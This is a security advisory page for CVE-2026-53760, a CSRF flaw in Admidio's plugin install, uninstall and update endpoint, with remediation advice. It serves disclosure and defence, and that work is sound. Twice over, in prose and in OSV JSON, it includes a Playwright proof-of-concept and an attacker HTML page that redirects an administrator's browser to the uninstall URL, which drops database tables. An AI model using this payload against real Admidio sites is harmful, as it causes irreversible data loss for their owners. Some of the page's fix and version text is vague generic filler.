CVE-2026-53760: Admidio CSRF On Plugin Install, Uninstall, Vulnerability

MODERATE
Advisory Identifier: GHSA-hm42-q32m-vj4f
CVSS 5.2
CWE-352
Published
Advisory Summary

CVE-2026-53760 is a MODERATE (CVSS 5.2) csrf on plugin install, uninstall, vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio libraries in the Packagist ecosystem. The issue involves csrf on plugin install, uninstall, and update via unprotected get requests. Remediation is available in the latest vendor maintenance releases.

CVE-2026-53760 at a Glance

CVE Identifier CVE-2026-53760
GHSA Identifier GHSA-hm42-q32m-vj4f
Severity MODERATE
CVSS v3.1 Base Score 5.2
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-53760

To remediate this vulnerability, upgrade all affected Admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: Latest secure release
Upgrade admidio/admidio to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53760, inspect your project dependencies for Admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. ## Details `modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`: ```php // modules/plugins.php $mode = admFuncVariableIsValid($_GET, 'mode', 'string'); $pluginName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly. Because the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL. The `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements: ```php // modules/plugins.php - doUninstall() function doUninstall($pluginFolder) { // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql // Contains DROP TABLE statements } ``` ## Proof of Concept The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint: ```javascript // playwright-csrf-poc.js const { test, expect } = require('@playwright/test'); test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => { const context = await browser.newContext(); const page = await context.newPage(); // Step 1: Admin logs in to Admidio await page.goto('https://admidio.example.com/adm_program/system/login.php'); await page.fill('#usr_login_name', 'admin'); await page.fill('#usr_password', 'password'); await page.click('#btn_login'); await page.waitForURL('**/overview.php'); // Step 2: Admin visits attacker-controlled page on different origin // The attacker page contains: // <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script> await page.goto('https://attacker.example.com/csrf.html'); // Step 3: Browser follows redirect with SameSite=Lax cookies // The birthday plugin is uninstalled, its database tables dropped await page.waitForURL('**/plugins.php*'); // Verify the plugin was uninstalled await page.goto('https://admidio.example.com/adm_program/modules/plugins.php'); const content = await page.content(); expect(content).not.toContain('birthday'); }); ``` Simplified attacker page (`csrf.html` hosted on attacker origin): ```html <html> <body> <script> window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday'; </script> </body> </html> ``` When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin. ## Impact An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page. ## Recommended Fix Switch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-53760 Affected Admidio Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
≤ 5.0.11

References

Frequently Asked Questions

What is CVE-2026-53760?
CVE-2026-53760 is a security vulnerability in Admidio involving CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio versions are affected?
Affected versions include releases prior to current release patches across affected packages: admidio/admidio.
What version fixes CVE-2026-53760?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-53760?
CVE-2026-53760 has a CVSS v3.1 base score of 5.2 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-53760?
CVE-2026-53760 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-53760?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hm42-q32m-vj4f",
  "modified" : "2026-07-09T13:44:40Z",
  "published" : "2026-07-09T13:44:40Z",
  "aliases" : [ "CVE-2026-53760" ],
  "summary" : "Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests",
  "details" : "## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, 'mode', 'string');\n$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require('@playwright/test');\n\ntest('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto('https://admidio.example.com/adm_program/system/login.php');\n    await page.fill('#usr_login_name', 'admin');\n    await page.fill('#usr_password', 'password');\n    await page.click('#btn_login');\n    await page.waitForURL('**/overview.php');\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>\n    await page.goto('https://attacker.example.com/csrf.html');\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL('**/plugins.php*');\n\n    // Verify the plugin was uninstalled\n    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');\n    const content = await page.content();\n    expect(content).not.toContain('birthday');\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n<html>\n<body>\n<script>\n  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';\n</script>\n</body>\n</html>\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "5.0.11"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-09T13:44:40Z",
    "nvd_published_at" : null
  }
}